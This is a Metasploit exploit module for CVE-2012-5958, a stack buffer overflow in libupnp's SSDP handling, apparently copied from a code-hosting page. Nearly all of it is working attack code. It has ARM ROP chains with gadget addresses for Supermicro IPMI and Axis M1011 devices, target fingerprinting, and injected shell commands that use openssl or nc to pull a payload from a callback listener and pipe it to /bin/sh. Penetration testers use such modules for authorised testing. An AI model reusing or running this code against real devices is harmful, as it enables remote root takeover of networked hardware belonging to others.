470 lines
16 KiB
Ruby
470 lines
16 KiB
Ruby
##
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# This module requires Metasploit: http://metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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require 'msf/core'
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class MetasploitModule < Msf::Exploit::Remote
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Rank = NormalRanking
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def initialize(info = {})
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super(update_info(info,
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'Name' => 'Portable UPnP SDK unique_service_name() Remote Code Execution',
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'Description' => %q{
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This module exploits a buffer overflow in the unique_service_name()
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function of libupnp's SSDP processor. The libupnp library is used across
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thousands of devices and is referred to as the Intel SDK for UPnP
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Devices or the Portable SDK for UPnP Devices.
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Due to size limitations on many devices, this exploit uses a separate TCP
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listener to stage the real payload.
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},
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'Author' => [
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'hdm', # Exploit dev for Supermicro IPMI
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'Alex Eubanks <endeavor[at]rainbowsandpwnies.com>', # Exploit dev for Supermicro IPMI
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'Richard Harman <richard[at]richardharman.com>', # Binaries, system info, testing for Supermicro IPMI
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'Frederic Basse <contact[at]fredericb.info>' # Exploit dev for Axis Camera M1011
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],
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'License' => MSF_LICENSE,
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'References' =>
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[
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[ 'CVE', '2012-5958' ],
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[ 'OSVDB', '89611' ],
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[ 'US-CERT-VU', '922681' ],
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[ 'URL', 'https://community.rapid7.com/community/infosec/blog/2013/01/29/security-flaws-in-universal-plug-and-play-unplug-dont-play' ]
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],
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'Platform' => ['unix'],
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'Arch' => ARCH_CMD,
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'Privileged' => true,
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'DefaultOptions' => { 'WfsDelay' => 10 },
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'Payload' =>
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{
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#
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# # The following BadChars do not apply since we stage the payload
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# # through a secondary connection. This is just for reference.
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#
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# 'BadChars' =>
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# # Bytes 0-8 are not allowed
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# [*(0..8)].pack("C*") +
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# # 0x09, 0x0a, 0x0d are allowed
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# "\x0b\x0c\x0e\x0f" +
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# # All remaining bytes up to space are restricted
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# [*(0x10..0x1f)].pack("C*") +
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# # Also not allowed
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# "\x7f\x3a" +
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# # Breaks our string quoting
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# "\x22",
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# Unlimited since we stage this over a secondary connection
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'Space' => 8000,
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'DisableNops' => true,
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'Compat' =>
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{
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'PayloadType' => 'cmd',
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# specific payloads vary widely by device (openssl for IPMI, etc)
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}
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},
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'Targets' =>
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[
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[ "Automatic", { } ],
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#
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# ROP targets are difficult to represent in the hash, use callbacks instead
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#
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[ "Supermicro Onboard IPMI (X9SCL/X9SCM) Intel SDK 1.3.1", {
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# The callback handles all target-specific settings
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:callback => :target_supermicro_ipmi_131,
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# This matches any line of the SSDP M-SEARCH response
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:fingerprint =>
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/Server:\s*Linux\/2\.6\.17\.WB_WPCM450\.1\.3,? UPnP\/1\.0, Intel SDK for UPnP devices\/1\.3\.1/mi
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#
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# SSDP response:
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# Linux/2.6.17.WB_WPCM450.1.3 UPnP/1.0, Intel SDK for UPnP devices/1.3.1
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# http://192.168.xx.xx:49152/IPMIdevicedesc.xml
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# uuid:Upnp-IPMI-1_0-1234567890001::upnp:rootdevice
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# Approximately 35,000 of these found in the wild via critical.io scans (2013-02-03)
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} ],
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[ "Axis Camera M1011 5.20.1 UPnP/1.4.1", {
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# The callback handles all target-specific settings
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:callback => :target_axis_m1011_141,
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# This fingerprint may not be specific enough to be used automatically.
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#:fingerprint =>
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# /SERVER:\s*Linux\/2\.6\.31, UPnP\/1\.0, Portable SDK for UPnP devices\/1\.4\.1/mi
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#
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# SSDP response:
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# Linux/2.6.31, UPnP/1.0, Portable SDK for UPnP devices/1.4.1
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# http://192.168.xx.xx:49152/rootdesc1.xml
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# uuuid:Upnp-BasicDevice-1_0-00123456789A::upnp:rootdevice
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} ],
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[ "Debug Target", {
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# The callback handles all target-specific settings
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:callback => :target_debug
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} ]
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],
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'DefaultTarget' => 0,
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'DisclosureDate' => 'Jan 29 2013'))
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register_options(
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[
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Opt::RHOST(),
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Opt::RPORT(1900),
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OptAddress.new('CBHOST', [ false, "The listener address used for staging the real payload" ]),
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OptPort.new('CBPORT', [ false, "The listener port used for staging the real payload" ])
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], self.class)
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end
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def exploit
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configure_socket
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target_info = choose_target
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unless self.respond_to?(target_info[:callback])
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print_error("Invalid target specified: no callback function defined")
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return
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end
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buffer = self.send(target_info[:callback])
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pkt =
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"M-SEARCH * HTTP/1.1\r\n" +
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"Host:239.255.255.250:1900\r\n" +
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"ST:uuid:schemas:device:" + buffer + ":end\r\n" +
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"Man:\"ssdp:discover\"\r\n" +
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"MX:3\r\n\r\n"
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print_status("Exploiting #{rhost} with target '#{target_info.name}' with #{pkt.length} bytes to port #{rport}...")
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udp_sock.sendto(pkt, rhost, rport, 0)
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1.upto(5) do
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::IO.select(nil, nil, nil, 1)
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break if session_created?
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end
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# No handler() support right now
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end
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# These devices are armle, run version 1.3.1 of libupnp, have random stacks, but no PIE on libc
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def target_supermicro_ipmi_131
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# Create a fixed-size buffer for the payload
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buffer = Rex::Text.rand_text_alpha(2000)
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# Place the entire buffer inside of double-quotes to take advantage of is_qdtext_char()
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buffer[0,1] = '"'
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buffer[1999,1] = '"'
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# Prefer CBHOST, but use LHOST, or autodetect the IP otherwise
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cbhost = datastore['CBHOST'] || datastore['LHOST'] || Rex::Socket.source_address(datastore['RHOST'])
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# Start a listener
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start_listener(true)
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# Figure out the port we picked
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cbport = self.service.getsockname[2]
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# Restart the service and use openssl to stage the real payload
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# Staged because only ~150 bytes of contiguous data are available before mangling
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cmd = "sleep 1;/bin/upnp_dev & echo; openssl s_client -quiet -host #{cbhost} -port #{cbport}|/bin/sh;exit;#"
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buffer[432, cmd.length] = cmd
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# Adjust $r3 to point from the bottom of the stack back into our buffer
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buffer[304,4] = [0x4009daf8].pack("V") #
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# 0x4009daf8: add r3, r3, r4, lsl #2
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# 0x4009dafc: ldr r0, [r3, #512] ; 0x200
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# 0x4009db00: pop {r4, r10, pc}
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# The offset (right-shifted by 2 ) to our command string above
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buffer[284,4] = [0xfffffe78].pack("V") #
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# Copy $r3 into $r0
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buffer[316,4] = [0x400db0ac].pack("V")
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# 0x400db0ac <_IO_wfile_underflow+1184>: sub r0, r3, #1
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# 0x400db0b0 <_IO_wfile_underflow+1188>: pop {pc} ; (ldr pc, [sp], #4)
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# Move our stack pointer down so as not to corrupt our payload
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buffer[320,4] = [0x400a5568].pack("V")
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# 0x400a5568 <__default_rt_sa_restorer_v2+5448>: add sp, sp, #408 ; 0x198
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# 0x400a556c <__default_rt_sa_restorer_v2+5452>: pop {r4, r5, pc}
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# Finally return to system() with $r0 pointing to our string
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buffer[141,4] = [0x400add8c].pack("V")
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return buffer
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=begin
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00008000-00029000 r-xp 00000000 08:01 709233 /bin/upnp_dev
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00031000-00032000 rwxp 00021000 08:01 709233 /bin/upnp_dev
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00032000-00055000 rwxp 00000000 00:00 0 [heap]
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40000000-40015000 r-xp 00000000 08:01 709562 /lib/ld-2.3.5.so
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40015000-40017000 rwxp 00000000 00:00 0
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4001c000-4001d000 r-xp 00014000 08:01 709562 /lib/ld-2.3.5.so
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4001d000-4001e000 rwxp 00015000 08:01 709562 /lib/ld-2.3.5.so
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4001e000-4002d000 r-xp 00000000 08:01 709535 /lib/libpthread-0.10.so
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4002d000-40034000 ---p 0000f000 08:01 709535 /lib/libpthread-0.10.so
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40034000-40035000 r-xp 0000e000 08:01 709535 /lib/libpthread-0.10.so
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40035000-40036000 rwxp 0000f000 08:01 709535 /lib/libpthread-0.10.so
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40036000-40078000 rwxp 00000000 00:00 0
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40078000-40180000 r-xp 00000000 08:01 709620 /lib/libc-2.3.5.so
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40180000-40182000 r-xp 00108000 08:01 709620 /lib/libc-2.3.5.so
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40182000-40185000 rwxp 0010a000 08:01 709620 /lib/libc-2.3.5.so
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40185000-40187000 rwxp 00000000 00:00 0
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bd600000-bd601000 ---p 00000000 00:00 0
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bd601000-bd800000 rwxp 00000000 00:00 0
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bd800000-bd801000 ---p 00000000 00:00 0
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bd801000-bda00000 rwxp 00000000 00:00 0
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bdc00000-bdc01000 ---p 00000000 00:00 0
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bdc01000-bde00000 rwxp 00000000 00:00 0
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be000000-be001000 ---p 00000000 00:00 0
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be001000-be200000 rwxp 00000000 00:00 0
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be941000-be956000 rwxp 00000000 00:00 0 [stack]
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=end
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end
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# These devices are armv5tejl, run version 1.4.1 of libupnp, have random stacks, but no PIE on libc
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def target_axis_m1011_141
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# Create a fixed-size buffer for the payload
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buffer = Rex::Text.rand_text_alpha(2000)
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# Place the entire buffer inside of double-quotes to take advantage of is_qdtext_char()
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buffer[0,1] = '"'
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buffer[1999,1] = '"'
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# Prefer CBHOST, but use LHOST, or autodetect the IP otherwise
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cbhost = datastore['CBHOST'] || datastore['LHOST'] || Rex::Socket.source_address(datastore['RHOST'])
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# Start a listener
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start_listener()
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# Figure out the port we picked
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cbport = self.service.getsockname[2]
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# Initiate a callback connection
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cmd = "sleep 1; /usr/bin/nc #{cbhost} #{cbport}|/bin/sh;exit;#"
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buffer[1, cmd.length] = cmd
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# Mask to avoid forbidden bytes, popped into $r4
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buffer[284,4] = [0x0D0D0D0D].pack("V")
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# Move $r4 to $r0
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buffer[304,4] = [0x40093848].pack("V")
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#MEMORY:40093848 MOV R0, R4
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#MEMORY:4009384C LDMFD SP!, {R4,PC}
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# Masked system() address (0x32FB9D83 + 0x0D0D0D0D = 0x4008AA90), popped into $r4
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buffer[308,4] = [0x32FB9D83].pack("V")
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# Set $r0 to system() address : $r0 = $r4 + $r0
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buffer[312,4] = [0x40093844].pack("V")
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#MEMORY:40093844 ADD R4, R4, R0
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#MEMORY:40093848 MOV R0, R4
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#MEMORY:4009384C LDMFD SP!, {R4,PC}
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# Move $r0 to $r3 : system() address
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buffer[320,4] = [0x400D65BC].pack("V")
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#MEMORY:400D65BC MOV R3, R0
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#MEMORY:400D65C0 MOV R0, R3
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#MEMORY:400D65C4 ADD SP, SP, #0x10
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#MEMORY:400D65C8 LDMFD SP!, {R4,PC}
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# Move $r2 to $r0 : offset to buffer[-1]
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buffer[344,4] = [0x400ADCDC].pack("V")
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#MEMORY:400ADCDC MOV R0, R2
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#MEMORY:400ADCE0 ADD SP, SP, #8
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#MEMORY:400ADCE4 LDMFD SP!, {R4-R8,PC}
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# Negative offset to command str($r0 + 0xFFFFFEB2 = buffer[1]), popped into R4
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buffer[356,4] = [0xFFFFFEB2].pack("V")
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# Set $r0 to command str offset : $r0 = $r4 + $r0
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buffer[376,4] = [0x40093844].pack("V")
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#MEMORY:40093844 ADD R4, R4, R0
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#MEMORY:40093848 MOV R0, R4
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#MEMORY:4009384C LDMFD SP!, {R4,PC}
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# Jump to system() function
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buffer[384,4] = [0x4009FEA4].pack("V")
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#MEMORY:4009FEA4 MOV PC, R3
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return buffer
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=begin
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00008000-0002b000 r-xp 00000000 1f:03 62 /bin/libupnp
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00032000-00033000 rwxp 00022000 1f:03 62 /bin/libupnp
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00033000-00055000 rwxp 00000000 00:00 0 [heap]
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40000000-4001d000 r-xp 00000000 1f:03 235 /lib/ld-2.9.so
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4001d000-4001f000 rwxp 00000000 00:00 0
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40024000-40025000 r-xp 0001c000 1f:03 235 /lib/ld-2.9.so
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40025000-40026000 rwxp 0001d000 1f:03 235 /lib/ld-2.9.so
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40026000-4002e000 r-xp 00000000 1f:03 262 /lib/libparhand.so
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4002e000-40035000 ---p 00008000 1f:03 262 /lib/libparhand.so
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40035000-40036000 rwxp 00007000 1f:03 262 /lib/libparhand.so
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40036000-4004a000 r-xp 00000000 1f:03 263 /lib/libpthread-2.9.so
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4004a000-40051000 ---p 00014000 1f:03 263 /lib/libpthread-2.9.so
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40051000-40052000 r-xp 00013000 1f:03 263 /lib/libpthread-2.9.so
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40052000-40053000 rwxp 00014000 1f:03 263 /lib/libpthread-2.9.so
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40053000-40055000 rwxp 00000000 00:00 0
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40055000-4016c000 r-xp 00000000 1f:03 239 /lib/libc-2.9.so
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4016c000-40173000 ---p 00117000 1f:03 239 /lib/libc-2.9.so
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40173000-40175000 r-xp 00116000 1f:03 239 /lib/libc-2.9.so
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40175000-40176000 rwxp 00118000 1f:03 239 /lib/libc-2.9.so
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40176000-40179000 rwxp 00000000 00:00 0
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40179000-4017a000 ---p 00000000 00:00 0
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4017a000-40979000 rwxp 00000000 00:00 0
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40979000-4097a000 ---p 00000000 00:00 0
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4097a000-41179000 rwxp 00000000 00:00 0
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41179000-4117a000 ---p 00000000 00:00 0
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4117a000-41979000 rwxp 00000000 00:00 0
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41979000-4197a000 ---p 00000000 00:00 0
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4197a000-42179000 rwxp 00000000 00:00 0
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42179000-4217a000 ---p 00000000 00:00 0
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4217a000-42979000 rwxp 00000000 00:00 0
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42979000-4297a000 ---p 00000000 00:00 0
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4297a000-43179000 rwxp 00000000 00:00 0
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bef4d000-bef62000 rw-p 00000000 00:00 0 [stack]
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=end
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end
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# Generate a buffer that provides a starting point for exploit development
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def target_debug
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Rex::Text.pattern_create(2000)
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end
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def stage_real_payload(cli)
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print_good("Sending payload of #{payload.encoded.length} bytes to #{cli.peerhost}:#{cli.peerport}...")
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cli.put(payload.encoded + "\n")
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end
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def start_listener(ssl = false)
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comm = datastore['ListenerComm']
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if comm == "local"
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comm = ::Rex::Socket::Comm::Local
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else
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comm = nil
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end
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self.service = Rex::Socket::TcpServer.create(
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'LocalPort' => datastore['CBPORT'],
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'SSL' => ssl,
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'SSLCert' => datastore['SSLCert'],
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'Comm' => comm,
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'Context' =>
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{
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'Msf' => framework,
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'MsfExploit' => self,
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})
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self.service.on_client_connect_proc = Proc.new { |client|
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stage_real_payload(client)
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}
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# Start the listening service
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self.service.start
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end
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#
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# Shut down any running services
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#
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def cleanup
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super
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if self.service
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print_status("Shutting down payload stager listener...")
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begin
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self.service.deref if self.service.kind_of?(Rex::Service)
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if self.service.kind_of?(Rex::Socket)
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self.service.close
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self.service.stop
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end
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self.service = nil
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rescue ::Exception
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end
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end
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end
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def choose_target
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# If the user specified a target, use that one
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return self.target unless self.target.name =~ /Automatic/
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msearch =
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"M-SEARCH * HTTP/1.1\r\n" +
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"Host:239.255.255.250:1900\r\n" +
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"ST:upnp:rootdevice\r\n" +
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"Man:\"ssdp:discover\"\r\n" +
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"MX:3\r\n\r\n"
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# Fingerprint the service through SSDP
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udp_sock.sendto(msearch, rhost, rport, 0)
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res = nil
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1.upto(5) do
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res,_,_ = udp_sock.recvfrom(65535, 1.0)
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break if res and res =~ /^(Server|Location)/mi
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udp_sock.sendto(msearch, rhost, rport, 0)
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end
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self.targets.each do |t|
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return t if t[:fingerprint] and res =~ t[:fingerprint]
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end
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if res and res.to_s.length > 0
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print_status("No target matches this fingerprint")
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print_status("")
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res.to_s.split("\n").each do |line|
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print_status(" #{line.strip}")
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end
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print_status("")
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else
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print_status("The system #{rhost} did not reply to our M-SEARCH probe")
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end
|
|
|
|
fail_with(Failure::NoTarget, "No compatible target detected")
|
|
end
|
|
|
|
# Accessor for our TCP payload stager
|
|
attr_accessor :service
|
|
|
|
# We need an unconnected socket because SSDP replies often come
|
|
# from a different sent port than the one we sent to. This also
|
|
# breaks the standard UDP mixin.
|
|
def configure_socket
|
|
self.udp_sock = Rex::Socket::Udp.create({
|
|
'Context' => { 'Msf' => framework, 'MsfExploit' => self }
|
|
})
|
|
add_socket(self.udp_sock)
|
|
end
|
|
|
|
#
|
|
# Required since we aren't using the normal mixins
|
|
#
|
|
|
|
def rhost
|
|
datastore['RHOST']
|
|
end
|
|
|
|
def rport
|
|
datastore['RPORT']
|
|
end
|
|
|
|
# Accessor for our UDP socket
|
|
attr_accessor :udp_sock
|
|
|
|
end
|